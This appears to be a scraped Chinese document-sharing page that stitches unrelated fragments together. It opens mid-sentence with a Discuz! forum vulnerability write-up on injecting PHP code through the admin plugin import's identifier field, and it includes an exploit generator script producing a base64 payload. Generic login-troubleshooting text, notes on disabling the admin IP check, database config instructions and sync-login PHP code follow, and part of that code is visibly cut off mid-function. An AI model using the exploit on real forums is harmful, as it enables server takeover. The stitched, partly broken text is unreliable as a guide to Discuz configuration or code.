“.arrayeval($data),‘plugin_’);}}——————如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4 个敌人的心情. /admin/plugins.inc.phpPHP代码if(($newname = trim($newname)) || ($newidentifier =trim($newidentifier))) {if(!$newname) {cpmsg(‘plugins_edit_name_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1″);欲裂,ispluginkey判定newidentifier是否有特殊字符if($db->num_rows($query) || !$newidentifier|| !ispluginkey($newidentifier)) {cpmsg(‘plugins_edit_identifier_invalid’);}$db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘,‘$newidentifier’, ’0′)”);}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_edit_succeed’,‘admincp.php?action=pluginsconfig’);—————还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.PHP代码elseif(submitcheck(‘importsubmit’)) {$plugindata = preg_replace(“/(#.*\s+)*/”, ”, $plugindata);$pluginarray =daddslashes(unserialize(base64_decode($plugindata)), 1);//解码后没有判定if(!is_array($pluginarray)|| !is_array($pluginarray['plugin'])) {cpmsg(‘plugins_import_data_invalid’);} elseif(emptyempty($ignoreversion) &&strip_tags($pluginarray['version']) != strip_tags($version)) {cpmsg(‘plugins_import_version_invalid’);}$query = $db->query(“SELECT pluginid FROM {$tablepre}plugins WHEREidentifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1″);//判断是否重复,直接入库if($db->num_rows($query)) {cpmsg(‘plugins_import_identifier_duplicated ’);}$sql1 = $sql2 = $comma = ”;foreach($pluginarray['plugin'] as $key => $val) {if($key == ‘directory’) {//compatible for old versions$val .= (!emptyempty($val) &&substr($val, -1) != ‘/’) ? ‘/’ : ”;}$sql1 .= $comma.$key;$sql2 .= $comma.’\”.$val.’\”;$comma = ‘,’;}$db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);$pluginid = $db->insert_id();foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {if(is_array($pluginarray[$pluginconfig])) { foreach($pluginarray[$pluginconfig]as $config) {$sql1 = ‘pluginid’;$sql2 =‘\”.$pluginid.’\”;foreach($config as $key => $val) {$sql1 .= ‘,’.$key;$sql2 .=‘,\”.$val.’\”;}$db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);}}}updatecache(‘plugins’);updatecache(‘settings’);cpmsg(‘plugins_import_succeed’,‘admincp.php?action=pluginsconfig’);}————-随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用./forumdata/cache/plugin_shell.phpPHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['shell'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>———–我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的:forumdata/cache/plugin_a’]=phpinfo();$a['a.php PHP代码<?php//Discuz! cache file, DO NOT modify me!//Created: Mar 17, 2011, 16:56//Identify: 7c0b5adeadf5a806292d45c64bd0659c$_DPLUGIN['a']=phpinfo();$a['a'] = array (‘pluginid’ => ’11′,‘available’ => ’0′,‘adminid’ => ’0′,‘name’ => ‘Getshell’,‘identifier’ => ‘shell’,‘datatables’ => ”,‘directory’ => ”,‘copyright’ => ”,‘modules’ =>array (),‘vars’ =>array (),)?>————–最后是编码一次,给成Exp:PHP代码<?php$a =unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2Y WlsYWJsZSI7czoxOiIwIjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNoZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6 ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7fQ==”));//print_r($a);$a['plugin']['name']=’GetShell’;$a['plugin']['identifier']=’a\’]=phpinfo();$a[\'';print(base64_encode(serialize($a)));?>7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"-------------------------------------------------------------------------------------二、Discuz! 7.2 和 Discuz! X1.5以下以7.2为例,/admin/plugins.inc.phpPHP代码elseif($operation == 'import') {if(!submitcheck('importsubmit') && !isset($dir)) {/*未提交前表单神马的*/} else {if(!isset($dir)) {//导入数据解码$pluginarray = getimportdata('Discuz!Plugin');} elseif(!isset($installtype)) {/*省略一部分*/}//判定你妹啊,两遍啊两遍if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(!ispluginkey($pluginarray['plugin']['identifier'])) {cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);}if(is_array($pluginarray['hooks'])) {foreach($pluginarray['hooks'] as $config) { if(!ispluginkey($config['title'])) {cpmsg(‘plugins_import_hooks_ title_invalid’, ”, ‘error’);}}}if(is_array($pluginarray['vars'])) {foreach($pluginarray['vars'] as $config) {if(!ispluginkey($config['variable'])) {cpmsg(‘plugins_import_var_in valid’, ”, ‘error’);}}}$langexists = FALSE;//你有张良计,我有过墙梯if(!emptyempty($pluginarray['language'])) {@mkdir(‘./forumdata/plugins/’, 0777);$file =DISCUZ_ROOT.’./forumdata/plugins/’.$pluginarray['plugin']['identifier'].’.lang.php’;if($fp = @fopen($file, ‘wb’)) {$scriptlangstr= !emptyempty($pluginarray['language']['scriptlang']) ?“\$scriptlang['".$pluginarray['plugin']['id entifier'].”‘] =“.langeval($pluginarray['language']['scriptlang']) : ”;$templatelangstr= !emptyempty($pluginarray['language']['templatelang']) ?“\$templatelang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['templatelang']) : ”;$installlangstr= !emptyempty($pluginarray['language']['installlang']) ?“\$installlang['".$pluginarray['plugin']['identifier'].”‘] =“.langeval($pluginarray['language']['installlang']) : ”;fwrite($fp,“<?php\n”.$scriptlangstr.$templatelangstr.$installlangstr.’?>’); fclose($fp);}$langexists = TRUE;}/*处理神马的*/updatecache(‘plugins’);updatecache(‘settings’);updatemenu();/*省略部分代码*/}———————–先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.PHP代码function getimportdata($name = ”, $addslashes = 1, $ignoreerror = 0) { if($GLOBALS['importtype'] == ‘file’) {$data = @implode(”,file($_FILES['importfile']['tmp_name']));@unlink($_FILES['importfile']['tmp_name']);} else {$data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];}include_once DISCUZ_ROOT.’./include/xml.class.php’;$xmldata = xml2array($data);if(!is_array($xmldata) || !$xmldata) {//向下兼容if($name && !strexists($data, ‘# ‘.$name)) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = preg_replace(“/(#.*\s+)*/”, ”, $data);$data = unserialize(base64_decode($data));if(!is_array($data) || !$data) {if(!$ignoreerror) {cpmsg(‘import_data_invalid’, ”,‘error’);} else {return array();}}} else {//XML解析if($name && $name != $xmldata['Title']) {if(!$ignoreerror) {cpmsg(‘import_data_typeinvalid’, ”, ‘error’);} else {return array();}}$data = exportarray($xmldata['Data'], 0);}if($addslashes) {//daddslashes在两个版本的处理导致了Exp不能通用.$data = daddslashes($data, 1);}return $data;}——————判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包。
互联网服务平台怎么登录不了
互联网服务平台登录问题解决方案在日常使用互联网服务平台的过程中,我们有时会遇到登录问题,无法顺利进入平台。
登录问题可能会给我们带来不便和困扰。
本文将为大家提供一些解决互联网服务平台登录问题的常见方法。
1. 检查网络连接互联网服务平台需要稳定的网络连接才能正常登录。
首先,确保你的设备已连接到可靠的网络,并且信号良好。
你可以尝试打开其他网站或应用程序,以确认网络连接是否正常工作。
如果网络连接有问题,建议重启你的路由器或联系网络服务提供商以获得帮助。
2. 检查用户名和密码登录问题有时是由于输入错误的用户名或密码引起的。
确保你输入的用户名和密码是正确的,并且区分大小写。
请注意键盘上是否开启了大写锁定键,并尝试再次输入。
3. 清除浏览器缓存和Cookie浏览器缓存和Cookie是保存在你的设备上的临时文件,用于加快网页加载速度和存储登录状态。
但有时,这些缓存和Cookie可能会导致登录问题。
尝试清除浏览器缓存和Cookie,然后重新打开浏览器,再次尝试登录。
4. 更新浏览器或应用程序互联网服务平台通常要求使用最新版本的浏览器或应用程序才能正常登录。
检查你当前使用的浏览器或应用程序是否是最新版本,如果不是,建议更新到最新版本,然后尝试重新登录。
5. 使用其他设备或浏览器如果你在一台设备上无法登录互联网服务平台,可以尝试使用其他设备进行登录。
如果其他设备上可以成功登录,那么说明问题可能出在你原先使用的设备上。
此时,你可以尝试清除该设备上的浏览器缓存和Cookie,或者尝试使用其他浏览器进行登录。
6. 检查平台服务器状态有时,互联网服务平台可能会暂时出现服务器故障或维护情况,导致用户无法登录。
在这种情况下,你可以查看平台的官方网站或社交媒体页面,以了解是否有任何公告或通知。
如果是服务器问题,只能等待平台解决并恢复正常运行。
7. 联系客服如果尝试了以上方法仍然无法解决登录问题,建议联系互联网服务平台的客户支持团队寻求帮助。
discuz论坛管理员无法正常登陆后台管理中心
$_config[&39;admincp&39;][&39;checkip&39
;]=0
问题解决。 登陆 后台管理中心
y2t2d 宁国论坛
昨天我就发现一个问题,在青岛登陆
disciuz 后台后,在回到江苏就无法登陆后台
了 查找了下资料,原因&解决方法如下电
脑软件名称:discuz 大小:10MB|版本:X3|类
别:系统工具|语言:中文应用平台:windows
discuz 官方为准) 处理方法:取消 discuz 管理员 ip 认证功
能。 取消方法:通过 FTP 进网站的相关目录,
找到 config 文件夹下面的 config_global.php
文 件 , 在 该 文 件 中 找 到
$_config[&39;admincp&39;][&39;checkip&39
问题现象:管理员账号可以正常登陆前台,
但是无法登陆后台管理中心,无法登陆的时候
无任何报错。 问题造成原因:discuz 出于某些安全考虑
默认开启了管理员 IP 检查,就是 ip 认证这玩
意。从兰州到成都 ip 地址肯定变了,所以造成
管理员账号上不了后台。(因未查看 discuz 相
关安全方面文档,可能表述不准确,一切以
DISCUZ!修改数据库连接文件配置方法
DISCUZ!修改数据库连接⽂件配置⽅法我们迁移discuz7.2论坛,导⼊mysql数据库后,使⽤⽂本编辑器editplus打开根⽬录下config.inc.php和uc_server/data/config.inc.php 两个⽂件替换mysql数据库信息时,要修改三处:根⽬录下config.inc.php第⼀处在14⾏到17⾏如下:// [CH] 以下变量请根据空间商提供的账号参数修改,如有疑问,请联系服务器提供商$dbhost = ‘localhost’; // 数据库服务器$dbuser = ‘数据库访问⽤户名’; // 数据库⽤户名$dbpw = ‘你的数据库密码’; // 数据库密码$dbname = ‘数据库名称’; // 数据库名$pconnect = 0; // 数据库持久连接 0=关闭, 1=打开第⼆处在70⾏到结尾,如下:// ============================================================================define(‘UC_CONNECT’, ‘mysql’);define(‘UC_DBHOST’, ‘localhost’);define(‘UC_DBUSER’, ‘数据库访问⽤户名‘);define(‘UC_DBPW’, ‘数据库密码‘);define(‘UC_DBNAME’, ‘数据库名称‘);define(‘UC_DBCHARSET’, ‘gbk’);define(‘UC_DBTABLEPRE’, ‘`数据库名称`.uc_’);define(‘UC_DBCONNECT’, ’0′);define(‘UC_KEY’, ‘Md85Kcg260QbH9w2rcaecfGa27baEbk2p7Tb25W4ie52H130ncvcY9u7y587Mf4b’);define(‘UC_API’, ‘http://www.你的域名/ucenter安装⽬录‘);define(‘UC_CHARSET’, ‘gbk’);define(‘UC_IP’, ‘空间IP地址‘);define(‘UC_APPID’, ’2′);define(‘UC_PPP’, ’20′);uc_server/data/config.inc.php第三处如下:define('UC_DBHOST', 'localhost');define('UC_DBUSER', '数据库访问⽤户名');define('UC_DBPW', '数据库密码');define('UC_DBNAME', '数据库名称');define('UC_DBCHARSET', 'gbk');define('UC_DBTABLEPRE', 'cdb_uc_');请修改的时候务必注意修改这两处,否则将导致迁移discuz 7.2后⽆法登录论坛管理员后台。
discuz 自动同步登陆的完美解决办法
但discuz的同步登陆问题是个头疼的问题,网上搜搜,类似的文章、贴子无数,也参考过很多的文章,始终没能完美地解决自己系统登陆后同步登陆discuz的问题;在开发机上正常的,放到服务器上就会出现无法同步登陆的情况。
无奈之下,自己看了一下ucenter、discuz同步登陆的机制,提炼出了以下用于同步登陆discuz的代码:代码如下:<?php// 此处需要修改为discuz根目录下config.php中的对应设置$cookiepre = 'dz_'; // cookie 前缀$cookiedomain = ''; // cookie 作用域$cookiepath = '/'; // cookie 作用路径$timestamp = time();function _setcookie($var, $value, $life = 0, $prefix = 1) {global $cookiepre, $cookiedomain, $cookiepath, $timestamp, $_server;setcookie(($prefix ? $cookiepre : '').$var, $value,$life ? $timestamp + $life : 0, $cookiepath,$cookiedomain, $_server['server_port'] == 443 ? 1 : 0);}function _authcode($string, $operation = 'decode', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key ? $key : uc_key);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'decode' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'decode' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$jstr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));}}function _synlogin($uid){global $dz_tablepre;//此处需要修改一下文件的相对路径require_once dirname(__file__).'/../forum/forumdata/cache/cache_settings.php';$uid = intval($uid);$cookietime = 2592000;$discuz_auth_key = md5($_dcache['settings']['authkey'].$_server['http_user_agent']);$member = get_row_array_from_sql(select username, uid, password, secques from .$dz_tablepre.members where uid='$uid');_setcookie('sid', '', -86400 * 365);_setcookie('cookietime', $cookietime, 31536000);_setcookie('auth', _authcode($member[password]\t$member[secques]\t$member[uid], 'encode', $discuz_auth_key), $cookietime);}function _synlogout() {_setcookie('auth', '', -86400 * 365);_setcookie('sid', '', -86400 * 365);_setcookie('loginuser', '', -86400 * 365);_setcookie('activationauth', '', -86400 * 365);}将上述代码加入到自己的系统中,修改好提示需要修改的代码,在需要同步登陆的时候调用_synlogin($uid) ,在需要同步退出的时候调用_synlogout()。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
问题原因分析:安装过程使用的是全新安装,而不是升级ucenter到1.52后通过ucenter进行安装,这就造成了DX1.5使用的是全新的ucenter,只有一个用户.
解决方案:编辑uc_server/data/config.inc.php文件
将数据库配置信息修改为7.2使用的ucenter的
如果没有换数据库
只需要修改UC_DBTABLEPRE后边的表前缀pre_ucenter_为原ucenter的表前缀即可
原表前缀默认一般是uc_或者cdb_uc_
保存后退出并登陆ucenter
选择应用管理
删除老的dz应用
点击添加新应用-自定义安装
最下边的选项选择是并提交
这时复制最下边的框中的ucenter应用信息
更新覆盖至config/config_ucenter.php中
保存后退出通信将恢复正常并可登陆
头像丢失可以到原来的ucenter程序中找回data/avatar中的文件复制到新的uc_server/data/avatar中
至此完全恢复。